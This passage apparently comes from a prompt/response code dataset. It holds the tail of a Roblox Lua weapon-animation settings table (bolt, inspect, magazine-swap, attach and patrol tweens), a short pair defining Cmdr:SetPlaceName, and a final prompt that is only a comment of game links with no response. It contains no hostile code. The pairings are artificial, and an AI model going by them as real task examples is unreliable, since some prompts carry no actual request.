			TweenJoint(objs[2],  nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
			TweenJoint(objs[3],  nil , CFrame.new(-0.403950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
			wait(0.25)
		end;

		-- Bolting Back
		BoltingBackAnim = function(char, speed, objs)
			TweenJoint(objs[1],  nil , CFrame.new(0, 0, 0.430707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
		end;

		BoltingForwardAnim = function(char, speed, objs)
			TweenJoint(objs[1],  nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
		end;

		InspectAnim = function(char, speed, objs)
			ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
			ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
			wait(1)
			ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
			wait(1)
			ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
			ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
			wait(1)
			local MagC = Tool:WaitForChild("Mag"):clone()
			MagC:FindFirstChild("Mag"):Destroy()
			MagC.Parent = Tool
			MagC.Name = "MagC"
			local MagCW = Instance.new("Motor6D")
			MagCW.Part0 = MagC
			MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
			MagCW.Parent = MagC
			MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
			Tool.Mag.Transparency = 1
			Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()

			ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
			ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
			wait(0.13)
			ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
			wait(0.20)
			ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
			wait(0.8)
			ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
			wait(0.5)
			Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
			ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
			wait(0.3)
			MagC:Destroy()
			Tool.Mag.Transparency = 0
			wait(0.1)
		end;

		AttachAnim = function(char, speed, objs)
			TweenJoint(objs[1],  nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
			TweenJoint(objs[2],  nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
			wait(0.18)
		end;

		-- Patrol Anim
		PatrolAnim = function(char, speed, objs)
			TweenJoint(objs[1],  nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
			TweenJoint(objs[2],  nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
			wait(0.18)
		end;

	}

return Settings


Prompt: --- Sets the place name label on the interface

Response:
function Cmdr:SetPlaceName(name: string)
	self.PlaceName = name
	Interface.Window:UpdateLabel()
end


Prompt:
--[[
	Check out games that I'm working on:
	https://www.roblox.com/games/141084271/Rise-Of-The-Deads
	https://www.roblox.com/games/1158675493/Warritory
	https://www.roblox.com/games/54092940/Universe-Millennium
	https://www.roblox.com/games/50207032/Stranded-Alpha
	https://www.roblox.com/games/126569277/The-Games-Lobby
]]